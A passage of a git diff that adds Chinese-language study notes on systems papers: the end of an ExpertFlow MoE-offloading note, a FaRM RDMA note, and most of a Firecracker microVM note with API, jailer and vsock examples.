predicted_demand: dict[int, int], # layer -> 预测激活专家数 + cache_capacity: int, +) -> dict[int, int]: + """ + 按预测需求比例分配跨层缓存槽(PLEC 核心思想)。 + predicted_demand: 如 {0: 3, 1: 2} 表示两层分别需 3、2 个专家槽 + """ + total_demand = sum(predicted_demand.values()) + if total_demand <= cache_capacity: + return predicted_demand + + # 需求超过容量:按预测比例分配整数槽位 + slots = {} + remaining = cache_capacity + layers = sorted(predicted_demand.keys()) + for i, layer in enumerate(layers): + if i == len(layers) - 1: + slots[layer] = remaining + else: + share = max(1, round( + cache_capacity * predicted_demand[layer] / total_demand + )) + share = min(share, remaining - (len(layers) - i - 1)) + slots[layer] = share + remaining -= share + return slots + + +# 预测需 5 个专家,GPU 只能放 4 个 +demand = {0: 3, 1: 2} +print(plec_allocate_slots(demand, cache_capacity=4)) +# 可能输出 {0: 3, 1: 1} — 优先保证近层/高需求层 +``` + +算完一层后,释放的槽位用于 **异步 prefetch** 下一层预测专家;若实际路由与预测不符,ECE 在 expert kernel 运行期间做 **swap 纠错**。 + +--- + +## 实验结果速览 + +**硬件**:单卡 NVIDIA A40(48 GB)+ Intel Xeon Gold 6338。 + +| 场景 | 亮点 | +|------|------| +| Switch-128, WMT16, CS=4 | 相对 SE-MoE **9.99×** 吞吐 | +| Switch 系列 CS=16, BS=32 | 相对 SE-MoE **2.01× / 3.19× / 5.86×**(32/64/128 专家) | +| Mixtral-8×7B | AIG 基线 OOM → ExpertFlow **15.99 GB** 可跑 | +| Qwen1.5 跨域 RPP | 相对 Cache-MoE 最高 **2.21×** | +| 显存 | Switch-128: **15.26 GB → 1.03 GB**(约 93% 降幅) | +| RPP 准确率 | 多数 in-domain **>90%**;Qwen1.5 **>95%** | +| PLEC vs LRU | 命中率 **91.96%** vs LRU 最高约 76%(Switch-32) | +| 仅 TS 消融 | Switch-128 吞吐 **+17%**(1.17×) | + +**Cache size (CS)**:GPU 上能同时驻留的专家数。**Batch size (BS)** 越大,TS 合并相似路由的收益越明显。 + +--- + +## 与相关工作的关系 + +| 方法 | 思路 | ExpertFlow 差异 | +|------|------|-----------------| +| **Cache-MoE** | 每层固定 LRU 缓存 | 无预测,输入相关路由下命中率低 | +| **SE-MoE** | 环缓冲预载连续两层全部专家 | 专家多时内存开销大,常加载未激活专家 | +| **Pregated-MoE** | MLP 预测 router 分数 | 分数误差伤质量;非离散专家选择 | +| **ProMoE** | 学习型预测 + 缓存 | **逐层**预测,无法最早 prefetch | +| **FlexGen / Lamina** | Dense LLM offloading | 未针对 MoE 动态路由 | +| **量化 / 剪枝** | 缩小单个专家 | 正交;ExpertFlow 管「搬不搬、何时搬」 | + +--- + +## 局限与未覆盖点 + +1. **预测器训练成本**:需先跑 MoE 收集路由路径数据集(每配置约 3 万样本);跨模型需重新训练或验证泛化。 +2. **预测错误**:靠 ECE 运行时纠错,极端 mispredict 仍可能增加 I/O stall。 +3. **实现复杂度**:Dual-Batch Pipeline、KV Merge/Reindex、异步 prefetch 对推理引擎侵入较大——论文侧重系统设计,**开源实现需自行跟进**(截至笔记写作时以 arXiv / DAC 论文为主)。 +4. **场景边界**:实验聚焦 **单 GPU offloading**;多卡 EP、训练阶段、与 speculative decoding 的组合未充分展开。 +5. **与 MoE 架构绑定**:Top-1(Switch)与 Top-2/Top-6(Mixtral、DeepSeek)路由机制不同,RPP 需 per-model 适配。 + +--- + +## 自测题 + +1. MoE offloading 的三类瓶颈是什么?ExpertFlow 各用哪个组件应对? +2. 为什么 LRU 在 MoE 推理上不如 PLEC?举一个「4 层 × 4 专家、缓存 8 槽」的例子。 +3. RPP 与 ProMoE 式逐层预测的本质区别是什么?对 prefetch 窗口有何影响? +4. TS 优化目标式 (2) 中,batch 级路由矩阵为什么用逻辑 OR 聚合 token? +5. Dual-Batch Pipeline 如何隐藏 RPP/TS 延迟? + +
+参考答案(先自测再展开) + +1. **预测不准/太晚** → RPP;**专家利用率低**(每专家 token 太少)→ TS;**缓存命中率低** → ECE(PLEC + 纠错)。 +2. LRU 每层均分 2 槽;若某步每层 4 专家全激活,则持续 swap。PLEC 可按预测把 8 槽全给前两层最可能用到的 8 个专家,并随层推进异步换入第三层。 +3. RPP **一次**输出全 `(L,E)` 计划;ProMoE 需层序执行才知道后续层 → ExpertFlow 可在 **第一层 MoE 之前**开始 prefetch。 +4. batch 内任一 token 用到某专家,该专家就必须在该 batch 的 GPU 上可用;OR 表示「本 batch 所需专家集合」。 +5. 当前两 batch 在 GPU 计算时,CPU/GPU 侧并行对**下一**两 batch 跑 RPP+TS,避免预测阻塞主推理路径。 + +
+ +--- + +## 进一步阅读 + +- 论文:[arXiv:2410.17954](https://arxiv.org/abs/2410.17954)(HTML 版含完整方法图) +- MoE 训练系统:[Megatron Core MoE 笔记](./megatron-core-moe-2026.md) +- KV 侧显存管理:[PagedAttention / vLLM 笔记](./paged-attention-vllm.md) +- 基线 Cache-MoE:[Fast inference of mixture-of-experts language models with offloading](https://arxiv.org/abs/2312.17238) +- 逐层预测对比:ProMoE ([2410.22134](https://arxiv.org/abs/2410.22134)) + +--- + +## 一句话总结 + +ExpertFlow 把 MoE 单卡推理从「算到哪层、再慌慌张张搬专家」变成「**先预测全局路由 → 重排 token 提高专家负载 → 预测式缓存 + 算时纠错**」的三段式流水线,在几乎不碰模型权重的前提下,用 **7 MB 级 RPP** 撬动 **10× 级吞吐** 与 **90%+ 级显存节省**——是 **MoE × 异构内存 × 预测调度** 的系统共设计范例。 diff --git a/src/content/docs/papers/farm-2015.md b/src/content/docs/papers/farm-2015.md new file mode 100644 index 000000000..8f8457a47 --- /dev/null +++ b/src/content/docs/papers/farm-2015.md @@ -0,0 +1,287 @@ +--- +title: FaRM — 用 RDMA 把集群内存变成一块「共享白板」 +来源: https://www.microsoft.com/en-us/research/publication/farm-fast-remote-memory/ +日期: 2026-06-13 +子分类: 共识与复制 +分类: 分布式系统 +provenance: pipeline-v3 +--- + +## 从日常类比开始:公司共享白板 vs 快递传话 + +想象一家连锁门店要维护同一份「实时库存表」。 + +**传统 TCP/IP 做法**像**只能打电话改账**:你要改北京仓的库存,得先拨号、等对方接听、口述、对方手写、再回传确认——对方 CPU 全程参与,内核协议栈也要跑一遍。顾客一多,电话占线、接线员(CPU)成为瓶颈。 + +**FaRM 的做法**像**全公司共用一块巨型电子白板**(共享地址空间):你在上海工位可以直接「伸手」读到北京仓那一格数字(**单边 RDMA Read**),不必叫醒北京同事;真要改数时才走一套**分布式事务**(乐观并发 + 两阶段提交),保证所有人看到的版本一致。 + +论文 *FaRM: Fast Remote Memory*(NSDI 2014,Microsoft Research)正是这套思路的工程实现:把集群里每台机器的 DRAM 暴露成**位置透明的共享内存**,用 **RoCE/Infiniband 上的 RDMA** 把远程访问延迟和吞吐做到比 TCP/IP **高一个数量级**。后续 SOSP 2015 论文 *No compromises* 在同一平台上补齐了**非易失内存复制、快速故障恢复**,90 机集群跑 TATP 可达 **1.4 亿 TPS**,单机故障 **<50 ms** 恢复——但本笔记以 NSDI 2014 的编程模型与 RDMA 设计为主干。 + +--- + +## 是什么 + +**FaRM**(Fast Remote Memory)是一个**主内存分布式计算平台**,核心主张: + +| 维度 | 内容 | +|------|------| +| **编程模型** | 集群内存 = 单一共享地址空间;`分配 / 读 / 写 / 释放` 对象,**位置透明** | +| **一致性** | 默认 **严格可串行化** 的 ACID 分布式事务 | +| **网络** | **RDMA** 做数据面(单边读)+ 控制面(基于 RDMA Write 的消息) | +| **性能捷径** | **无锁只读**(单次 RDMA)、**对象共置 + 函数投递**(把分布式事务降成单机事务) | +| **典型数字** | 20 机、40 Gbps RoCE:**1.67 亿次 KV 查找/秒**,延迟 **31 µs** | + +作者:Aleksandar Dragojevic、Dushyanth Narayanan、Orion Hodson、Miguel Castro(Microsoft Research)。 + +--- + +## 为什么重要 + +不理解 FaRM,下面几件事很难讲清楚: + +- 为什么数据中心开始谈 **「内存语义网络」**——不是更快 TCP,而是**绕过远程 CPU** +- **Pilaf / HERD / FaRM / DrTM** 这一脉 RDMA KV 与事务系统的设计分岔 +- 为什么 **RoCE**(RDMA over Converged Ethernet)能在机架级成本上逼近以太网,却让 KV 延迟从百微秒降到几十微秒 +- SOSP 2015 如何证明:**分布式强一致事务**不必在性能上向分区或弱一致「妥协」——前提是重新设计协议以匹配 RDMA + NVRAM 硬件趋势 +- 后来 **Silo、Hekaton、RAMCloud** 等内存 OLTP 论文里「无锁读 / OCC / 日志复制」的谱系关系 + +FaRM 的关键洞察:**本地 DRAM 仍比 RDMA 快约 23×**,所以系统必须帮应用把**热数据与计算共置**;同时,只读路径应尽可能 **one-sided RDMA**,别把远程核卷进临界区。 + +--- + +## 核心概念 + +### 1. RDMA:单边读 vs 双边消息 + +- **单边 RDMA Read/Write**:发起方 NIC 直接 DMA 远程内存,**远程 CPU 不参与** +- **FaRM 消息**:用 **RDMA Write** 写入接收方环形缓冲区;接收方轮询 `Head` 指针发现新消息(依赖 NIC 保证 **Write 按地址递增顺序** 完成) + +微基准(论文 Figure 2–3):16–512 B 典型 RPC 大小下,FaRM 消息速率比 TCP **高 9–11×**;再叠加单边 Read,只读再快 **≈2×**。峰值负载下 TCP 延迟可比 RDMA 消息 **高 145×**。 + +### 2. 共享地址空间与寻址 + +地址 = **32-bit Region ID + 32-bit 偏移**。Region 是 **2 GB** 粒度单元(映射、RDMA 注册、恢复都以 Region 为界)。 + +**一致性哈希**(多虚拟环,k≈100)决定 Region 主副本落在哪台机器;对象指针是 64-bit 不透明地址,可嵌入结构体字段建链表/图。 + +为减少 NIC 页表缓存 miss,FaRM 实现 **PhyCo** 驱动:启动时分配 **2 GB 物理连续** 内存块,让 NIC 页表项从「50 万+」降到 **1 条/Region**。 + +### 3. 分布式事务(OCC + 2PC + RDMA 消息) + +执行阶段:事务缓冲本地写;用 **RDMA Read** 拉取远程对象到 **ObjBuf**。 + +提交阶段(协调者): + +1. **Prepare** → 写集主副本**加锁**,主/副本**写 WAL** +2. **Validate** → 检查读集版本是否仍有效(乐观) +3. **Commit** → 先副本后主,更新对象、解锁 + +全程用低延迟 RDMA 消息,缩短锁持有时间。失败则 Abort。 + +**单机事务快路径**:若相关对象共置在同一 Primary,可 **函数投递**(`msgSend` 把逻辑发到存数据的机器),省掉 Prepare/Validate 的跨机消息,Primary 只需向副本发 Commit。 + +### 4. 无锁只读(Lock-free Read) + +热点读路径(如 KV `GET`)不必进 2PC: + +- 一次 **RDMA Read** 拉整个对象 +- 利用 **cache-coherent DMA**:对象头与各 cache line 携带**版本戳**;头未加锁且各 line 版本一致 → 读与事务**严格可串行化** +- 配合 **incarnation(化身号)** 的 fat pointer,检测对象是否已被并发 `free` + +Hashtable 查找邻桶时还用 **joint version** 保证相邻 bucket 彼此一致。 + +### 5. Chained Associative Hopscotch Hash + +FaRM KV 不是简单 Memcached:在 **Hopscotch** 基础上加 **溢出链 + 关联槽**,在 **90% 装载率** 下平均 **1.04 次 RDMA Read/lookup**(H=8),空间与远程读次数兼顾。 + +写路径(insert/update/delete)则走 **共置 + 事务投递**,把分布式更新变成单机事务。 + +### 6. 与 SOSP 2015 的衔接(扩展阅读) + +NSDI 2014 已包含复制日志到 SSD + 少量 NVRAM 缓冲;SOSP 2015 进一步: + +- Primary-Backup 在 **非易失 DRAM** 上复制 +- **<50 ms** 故障恢复(并行 recovery + 锁恢复阶段极短) +- 90 机 **4.9 TB** 数据库 **1.4 亿 TPS**(TATP) + +读 NSDI 2014 理解「怎么快」;读 SOSP 2015 理解「怎么又快又稳」。 + +--- + +## 代码示例 1:FaRM 风格的事务 API(C,摘自论文 Figure 6) + +FaRM 暴露**事件驱动 + continuation** 接口:异步 RDMA 完成后回调,避免阻塞线程。 + +```c +/* 创建事务上下文 */ +Tx *t = txCreate(); + +/* 在提示地址附近分配新对象(共置优化) */ +Addr neighbor = ...; +txAlloc(t, obj_size, neighbor, on_alloc_done); + +/* 读-改-写 */ +void on_read_done(ObjBuf *old, void *ctx) { + ObjBuf *writable = txWrite(t, old, new_values); + txCommit(t, on_commit_done); +} +txRead(t, obj_addr, obj_size, on_read_done); + +/* 无锁只读快路径 */ +Lf *lf = lockFreeStart(); +lockFreeRead(lf, obj_addr, obj_size, on_lf_read); +lockFreeEnd(lf); /* 释放临时 ObjBuf */ +``` + +**读法**: + +- `txAlloc(..., hint)` 的 hint 让分配器优先**同 block / 同 region / 环上邻近位置**,为后续单机事务铺路 +- `lockFreeStart/End` bracket 的无锁读与事务并发仍 **serializable** +- 真实代码需处理 continuation 链上的 Abort、重试与 incarnation 校验——论文省略了样板 + +--- + +## 代码示例 2:在 FaRM 思路上实现 KV 查找(伪代码) + +下面不是 FaRM 源码,但忠实反映 **chained hopscotch + lock-free read** 的 lookup 逻辑: + +```python +def farm_style_lookup(table_shard, key, fat_ptr_codec): + h = hash(key) + b, b1 = h % N, (h + 1) % N + + # 单次 RDMA:邻桶 b 与 b+1(论文保证 key 必在其中之一或 b 的溢出链) + pair = rdma_read_buckets(table_shard, b, b1) + if not joint_version_ok(pair.fwd, pair.bwd): + continue # 邻桶不一致,退避重试 + + for slot in pair.slots: + if slot.key == key and incarnation_match(slot.fat_ptr): + if slot.is_inline: + return slot.value + obj = rdma_read_object(slot.fat_ptr) + if incarnation_match(slot.fat_ptr, obj): + return obj.value + continue # 对象已被 free/recycle,重试 + + for overflow in walk_overflow_chain(b): + obj = lock_free_read_chain_node(overflow, key) + if obj is not None: + return obj.value + return NOT_FOUND +``` + +**要点**: + +1. **第一次 RDMA 尽量覆盖两个邻桶**——把最常见路径压在 1 次远程读 +2. **joint version** 防止「读到旧 b + 新 b+1」的拼接态 +3. **fat pointer + incarnation** 防止 ABA/free 后重用 + +--- + +## 代码示例 3:RDMA 环形消息通道(发送方逻辑,简化) + +FaRM 用 RDMA Write 实现可靠消息,核心是不覆盖接收方尚未处理的尾部: + +```c +void farm_send(RdmaChannel *ch, const void *msg, size_t len) { + /* 本地缓存的 remote_head 滞后于真实 head,保证不踩未处理数据 */ + while (ch->tail + len > ch->local_copy_remote_head) { + poll_completions(ch); + maybe_refresh_remote_head(ch); /* 接收方处理 ≥50% buffer 才更新 */ + } + rdma_write(ch->conn, ch->buf_remote + ch->tail, msg, len); + ch->tail += len; + rdma_write_u64(ch->conn, &ch->remote_tail_ptr, ch->tail); +} +``` + +接收方轮询 `Head` 非零 → 读 trailer 非零 → 消息完整 → 交付应用 → 清零并推进 head。无远程 CPU 中断。 + +--- + +## 架构一图流 + +```text +┌─────────────┐ RDMA Read (one-sided) ┌─────────────┐ +│ Machine A │ ─────────────────────────────► │ Machine B │ +│ App thread │ │ DRAM Region│ +│ + FaRM lib │ ◄── RDMA Write (msg ring) ───► │ (Primary) │ +└─────────────┘ └──────┬──────┘ + │ │ WAL replicate + │ txCommit / lockFreeRead ▼ + │ ┌─────────────┐ + └────────── shared address space ──────►│ Replica │ + └─────────────┘ +``` + +--- + +## 实践数字(论文实测) + +| 场景 | 配置 | 结果 | +|------|------|------| +| KV 查找 | 20 机,40 Gbps RoCE,YCSB | **167 M ops/s**,**31 µs** 延迟 | +| vs TCP 基线 | 同硬件 | 吞吐 / 延迟 **~10×** 优势 | +| 本地 vs RDMA | 微基准 | 本地内存请求率 **~23×** 于 RDMA | +| TATP(SOSP'15) | 90 机,4.9 TB | **140 M tps**;故障恢复 **<50 ms** | + +FaRM 还实现了类似 Facebook **TAO** 的图存储,相对原 TAO 论文报告值同样有 **数量级** 提升。 + +--- + +## 适用 vs 不适用 + +**适用**: + +- 数据中心内 **内存可放下工作集** 的 OLTP、KV、图遍历(随机读多) +- 已部署 **RoCE / Infiniband**,能换栈 bypass 内核 +- 愿意用 **共置 + 偶尔函数投递** 换极端热点性能 + +**不适用**: + +- 数据必须落盘为主、内存只是缓存且 **无** 复制日志/NVRAM 方案(需另配持久化故事) +- 跨地域 **RTT 毫秒级**——2PC + 多副本验证延迟随 RTT 线性恶化 +- 需要 **多租户强隔离** 于单一 protection domain(FaRM 2014 为单保护域集群) +- 团队无法维护 **PhyCo、NIC 驱动、轮询式** 事件循环等底层调优 + +--- + +## 与相关系统对比 + +| 系统 | 网络 | 事务 | 特点 | +|------|------|------|------| +| **MemC3 / Redis** | TCP | 无 / 弱 | 成熟,但跨机延迟高 | +| **Pilaf** | RDMA | 无 | 极快 KV,无事务 | +| **HERD** | RDMA | 无 | 专注 NIC 侧扩展 | +| **FaRM** | RDMA | 严格 Serializable | 共享内存 + 事务 + 无锁读 | +| **Silo** | TCP(单机) | Serializable | 2013 单机内存 OLTP 标杆 | +| **Hekaton** | 本地 | Serializable | SQL Server 进程内引擎 | +| **Spanner** | WAN | 外部一致 | 跨洲,不同问题域 | + +FaRM 证明:**在机架/集群尺度**,RDMA + 重新设计的 2PC/OCC 可以把「分布式事务」从「只能放弃」变成「默认选项」。 + +--- + +## 踩过的坑(读论文时值得记) + +1. **NIC 页表缓存**:注册内存越多,RDMA 越慢——必须 **大页 / PhyCo 2GB 连续区**,否则 QPS 掉 4×。 +2. **Queue Pair 数量 vs 规模**:每线程每对机器一条 QP 在 78 机上会炸 NIC 缓存;需 **QP 共享**(参数 q)权衡并行度。 +3. **中断 vs 轮询**:用中断/blocking 可能让 RDMA 延迟 **×4**——FaRM 坚持 user-level poll。 +4. **无锁读不是免费午餐**:版本/check 失败要 **随机退避重试**;写热点高时 OCC 验证失败率上升。 +5. **共置是性能前提**:不把相关对象放同一 Primary,就退回完整分布式 2PC——**数据布局是 API 的一部分**。 +6. **NSDI vs SOSP**:2014 论文**不展开**故障恢复细节,但基准已含复制日志开销;完整 HA 故事看 2015。 + +--- + +## 一句话总结 + +FaRM 把「远程内存」做成像 **共享地址空间** 一样好用:默认给你 **严格 Serializable 事务**,读路径则用 **单次 RDMA 无锁读** 榨干 RoCE;再通过 **对象共置与函数投递** 把常见写路径降成单机事务——在 Microsoft 的集群上,这套组合相对 TCP 内存系统实现了 **10× 级** 的延迟与吞吐跃迁,并为后来「**一致性、可用性、性能不必三选一**」的 SOSP 2015 奠定了平台基础。 + +--- + +## 延伸阅读 + +- Dragojević et al., **FaRM: Fast Remote Memory**, NSDI 2014(本笔记主来源) +- Dragojević et al., **No compromises: distributed transactions with consistency, availability, and performance**, SOSP 2015 +- 同仓库笔记:[[hekaton]](单机内存 OLTP)、[[spanner]](全球一致)、[[ix-2014]](数据面 OS 与低延迟网络) diff --git a/src/content/docs/papers/firecracker-microvm-2020.md b/src/content/docs/papers/firecracker-microvm-2020.md new file mode 100644 index 000000000..badc6ae74 --- /dev/null +++ b/src/content/docs/papers/firecracker-microvm-2020.md @@ -0,0 +1,335 @@ +--- +title: Firecracker — 为 Serverless 量身定制的轻量虚拟化 +来源: https://www.usenix.org/system/files/nsdi20-paper-agache.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你经营一家**按次计费的共享厨房**(这就是 AWS Lambda 一类 serverless 平台): + +- 每个顾客(租户)带自己的菜谱和食材(任意 Linux 二进制),你只负责提供灶台和水电。 +- 顾客一走,灶台必须**立刻洗干净**,给下一位用;高峰时要**几百个灶台同时开火**。 +- 更麻烦的是:顾客可能互相不信任——你不能让 A 顾客的酱料瓶出现在 B 顾客的柜子里。 + +有三种常见做法: + +| 做法 | 日常类比 | 优点 | 缺点 | +|------|----------|------|------| +| **Linux 容器**(Docker) | 大家共用同一套中央供水供电,靠隔间板分开 | 开档快、占地小 | 隔间板是软件做的;中央系统(内核)一破,全场沦陷 | +| **传统虚拟机**(QEMU+KVM) | 每位顾客单独租一整间带独立水电的商铺 | 墙是砖砌的(硬件隔离) | 装修太重:BIOS、USB、声卡……启动要几秒,空铺也占几十 MB | +| **Firecracker microVM** | 只建**极简单间**:门、电、水龙头、排水口,别的不要 | 砖墙隔离 + 单间装修极简 | 不能开餐厅(无 GPU)、不能搬家(无 live migration) | + +这篇 NSDI 2020 论文由 Alexandru Agache 等 AWS 工程师撰写,讲的是第三种:**保留 KVM 硬件虚拟化的安全边界,把 QEMU 那 140 万行通用 VMM 换成约 5 万行 Rust 专用 VMM**。Firecracker 自 2018 年起支撑 AWS Lambda 与 Fargate,每月处理数万亿次请求。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 会议 | 17th USENIX NSDI,2020 年 2 月,Santa Clara | +| 页码 | 419–434 | +| 作者 | Alexandru Agache, Marc Brooker, Andreea Florescu 等(Amazon Web Services) | +| 开源 | 2018 年 12 月 Apache 2.0 发布 | +| 生产部署 | AWS Lambda、AWS Fargate | + +论文要回答的核心问题: + +1. **多租户 serverless** 能否同时做到 VM 级隔离与容器级密度? +2. **专门为 serverless 裁剪** 的 VMM 应长什么样——砍什么、留什么、为什么? +3. 把 Lambda 从「容器 + EC2」迁到 Firecracker,工程上踩了哪些坑? + +## 为什么值得读(零基础也能建立图景) + +即使你从未写过 hypervisor,这篇论文也能帮你理解今天云原生里反复出现的张力: + +- **安全 vs 兼容**:容器靠 seccomp 限制 syscall,syscall 越少越安全,但用户代码越容易挂;VM 把不可信代码关进 guest 内核,宿主只需信 VMM。 +- **通用 vs 专用**:QEMU 能启动 Windows、模拟声卡;Lambda 只需要 Linux + virtio 网卡/磁盘——专用工具在窄场景里能快一个数量级。 +- **分层借力**:CPU 虚拟化交给 KVM(见 [[kvm-2007]]),调度/内存交给 Linux,Firecracker 只做设备模拟和 API——这和 unikernel([[mirage-unikernel-2013]])「只带咖啡机」是同一哲学在不同层的重演。 + +## 核心概念一:隔离方案的三岔路 + +论文第 2 节系统比较了三种隔离路线。 + +### Linux 容器 + +依赖 cgroups、namespaces、seccomp-bpf、chroot 等内核机制。问题是:**所有容器共享一个内核**。安全边界是「能调用哪些 syscall」——典型 Ubuntu 需要 224 个 syscall 才能正常运行,攻击面很难缩到足够小。侧信道(Spectre、/proc 信息泄露)也持续爆出 CVE。 + +### 语言虚拟机隔离 + +JVM、V8 isolates 等在单进程内隔离,对「跑任意 Linux 二进制」的 Lambda 不适用。 + +### KVM 虚拟化 + +每个 workload 有**自己的 guest 内核 + 独立页表**,硬件(Intel VT-x / AMD-V)负责截获特权指令。代价是传统 QEMU 太重:论文引用 Tsai 等的工作,QEMU 单独就需要多达 270 个 syscall。 + +**Firecracker 的立场**:保留 KVM,**替换 QEMU**。 + +``` +传统路径: 用户代码 → guest 内核 → KVM → QEMU(140万行)→ 宿主内核 + +Firecracker: 用户代码 → guest 内核 → KVM → Firecracker(~5万行 Rust)→ 宿主内核 +``` + +Figure 1(论文)对比了两种安全模型: + +- **容器**:不可信代码直接打宿主内核(可能带 seccomp 沙箱) +- **虚拟化**:不可信代码只打 guest 内核;VMM + KVM 限制 guest 内核 + +## 核心概念二:Firecracker 刻意不做什么 + +论文 1.1 节「Specialization」列了一张「不做清单」——这对理解 microVM 至关重要: + +| 没有的功能 | 为什么砍掉 | +|------------|------------| +| BIOS、任意内核启动 | 只支持 VMM 直接加载的 Linux 内核镜像 | +| PCI、USB、声卡、显卡 | serverless 不需要;每多一个模拟设备就多一份 TCB | +| VM live migration | Lambda slot 寿命以小时计,用完即弃 | +| 编排 / 打包 | 交给 Kubernetes、containerd;Firecracker 只替代 QEMU | +| Windows guest | 设备模型太窄 | + +**一个 Firecracker 进程 = 一台 microVM**。进程边界即安全边界,运维人员用 `ps`、`top`、`kill` 就能管理整机上的上千个 microVM。 + +## 核心概念三:极简设备模型 + +Firecracker 只模拟 **5 类设备**(论文 3.1 节): + +| 设备 | 用途 | +|------|------| +| `virtio-net` | 网络(经 TUN/TAP 接到宿主) | +| `virtio-block` | 块设备磁盘(**刻意不用文件系统直通**,缩小宿主攻击面) | +| `virtio-vsock` | 宿主与客户机的高效 IPC | +| serial console | 日志与调试 | +| i8042 键盘控制器 | 不到 50 行 Rust,仅用于接收关机信号 | + +对比 QEMU 的 40+ 种设备。virtio 块设备整套实现约 1400 行 Rust。 + +## 核心概念四:REST API 与启动流水线 + +Firecracker 通过 **Unix socket 上的 REST API** 配置 microVM,而不是传统 QEMU 的命令行参数。好处是: + +1. 可以先 `fork` 进程、配好内核/磁盘/网络,**暂不启动**(pre-configured) +2. 需要时再 `InstanceStart`,把冷启动藏进预热池 +3. OpenAPI 规范,任何语言都能调 + +论文测得(5.1 节,单 vCPU、256MB、裁剪内核): + +| 场景 | 典型启动时间 | +|------|--------------| +| QEMU | ~2× 于 Firecracker | +| Firecracker 端到端(含 API 配置) | 中位数约 100ms 量级 | +| Firecracker 预配置后启动 | 99 分位约 146ms | +| Ubuntu 18.04 默认内核在 Firecracker 上 | **额外 +900ms**(探测不存在的 legacy 设备) | + +内存开销(5.2 节):Firecracker 每 VM 约 **3MB**,Cloud Hypervisor ~13MB,QEMU ~**131MB**。 + +密度:单主机可达 **150 个 microVM/秒** 创建速率;Lambda worker 上每台跑数百至数千个 slot。 + +## 核心概念五:Jailer 与纵深防御 + +安全不只靠「代码少」: + +1. **Rust**:内存安全,减少 VMM 自身漏洞 +2. **Jailer**(3.4.1 节):在启动 Firecracker 前把它关进 `chroot` + pid/network namespace + 降权 + **seccomp 白名单仅 24 个 syscall** +3. **生产加固**:禁用 SMT(超线程)、KPTI、禁用 swap、避免 samepage merging 等(见官方 prod-host-setup 文档) + +## 核心概念六:在 AWS Lambda 里怎么落地 + +论文第 4 节是全文最有「系统感」的部分。 + +### 控制面与数据面 + +``` +Invoke API → Frontend → Worker Manager(粘性路由) + ↓ + Placement(约 <20ms 选 worker) + ↓ + Worker 上的 MicroManager + ↓ + Firecracker microVM(一个 slot = 一个函数沙箱) +``` + +### Slot 复用 + +同一函数的多次调用可复用已启动的 microVM。论文 Listing 1 的 Node.js 例子: + +```javascript +var i = 0; +exports.handler = async (event, context) => { + return i++; +}; +``` + +连续 invoke 会返回递增数字,说明 **VM 与进程状态被保留**——这是「温启动」快的原因。 + +### 预热池与 Little 定律 + +125ms 启动虽快,但 Lambda 扩容路径有时要**同步**等 slot。MicroManager 维护 **pre-booted microVM 池**。论文用 Little 定律:池大小 = 创建速率 × 创建延迟;125ms 延迟下,每秒 8 次新建就需要 1 个预热实例。 + +### Slot 状态机 + +``` +Init → Idle ⇄ Busy → Dead +``` + +空闲 slot 占内存(约等于服务器资本成本的 40%);忙碌时还要 CPU、缓存、网络。多租户把不同客户的函数混在同一 worker,负载近似独立,统计多路复用效率随 √N 提升——这是 serverless **经济学**的数学底座。 + +### 无缝迁移 + +2018 年起,AWS 把 Lambda 从「每客户 EC2 + 容器」迁到 **裸金属 EC2 上的 Firecracker**,**对用户无感知**。技巧:slot 最长 12 小时回收,改回收逻辑即可逐步切换;先迁内部 workload,对比 metrics,DNS 缓存配置出过一回滚。 + +## 代码示例一:用 REST API 启动一台 microVM + +下面是与论文 3.2 节 API 模型对应的最小流程(需已安装 `firecracker` 与 `curl`)。API 走 Unix socket,故用 `--unix-socket`: + +```bash +API_SOCKET="/tmp/firecracker.socket" +rm -f "$API_SOCKET" + +# 1. 后台启动 Firecracker 进程,监听 API +firecracker --api-sock "$API_SOCKET" & + +# 2. 配置 guest 机器:1 vCPU,128 MiB 内存 +curl --unix-socket "$API_SOCKET" -X PUT \ + "http://localhost/machine-config" \ + -H "Content-Type: application/json" \ + -d '{"vcpu_count": 1, "mem_size_mib": 128, "smt": false}' + +# 3. 指定内核镜像与启动参数(须为 Firecracker 裁剪过的 microvm 内核) +curl --unix-socket "$API_SOCKET" -X PUT \ + "http://localhost/boot-source" \ + -H "Content-Type: application/json" \ + -d '{ + "kernel_image_path": "/path/to/vmlinux", + "boot_args": "console=ttyS0 reboot=k panic=1 pci=off" + }' + +# 4. 挂载 rootfs 块设备 +curl --unix-socket "$API_SOCKET" -X PUT \ + "http://localhost/drives/rootfs" \ + -H "Content-Type: application/json" \ + -d '{ + "drive_id": "rootfs", + "path_on_host": "/path/to/rootfs.ext4", + "is_root_device": true, + "is_read_only": false + }' + +# 5. 启动 guest +curl --unix-socket "$API_SOCKET" -X PUT \ + "http://localhost/actions" \ + -H "Content-Type: application/json" \ + -d '{"action_type": "InstanceStart"}' +``` + +论文强调:**预配置**(步骤 2–4 提前做完,步骤 5 在请求到来时才调)能把启动时间压到接近图 5 里的「FC-pre」曲线——这正是 Lambda 预热池的做法。 + +## 代码示例二:Jailer 如何把 Firecracker 关进笼子 + +Jailer 是独立二进制,典型调用形如: + +```bash +# 示意:具体路径因发行版而异 +jailer --id 12345 \ + --exec-file /usr/bin/firecracker \ + --uid 1000 --gid 1000 \ + --chroot-base-dir /srv/jailer \ + -- \ + --api-sock /run/firecracker.socket +``` + +Jailer 在 `exec` Firecracker 之前会: + +- 创建仅含必要文件(二进制、`/dev/net/tun`、该 VM 的磁盘镜像、cgroup 文件)的 chroot +- 进入独立的 pid / network namespace +- 应用 seccomp:白名单 **24 个 syscall**,KVM ioctl 另计 + +即使 guest 通过漏洞攻破了 VMM 进程,逃逸后看到的仍是**极简文件系统 + 几乎无 syscall**,这是论文「多层缓解」的具体实现。 + +## 代码示例三:用 vsock 从宿主向 guest 发命令 + +Lambda 的 MicroManager 与 guest 内 shim 走 TCP/IP(论文 4.1.2),但 Firecracker 更推荐 **virtio-vsock** 做宿主↔客户机控制通道: + +```bash +# 宿主侧:向 CID=3(guest)端口 1024 发送一行命令 +socat VSOCK-CONNECT:3:1024 - +``` + +```python +# guest 内极简监听(Python 3,需内核启用 vsock) +import socket +s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM) +s.bind((socket.VMADDR_CID_ANY, 1024)) +s.listen(1) +conn, _ = s.accept() +print(conn.recv(1024).decode()) +conn.close() +``` + +vsock 不经过虚拟网卡栈,延迟更低,也减少「从网络面打进 microVM」的攻击面——新人常踩的坑是以为能 `ssh 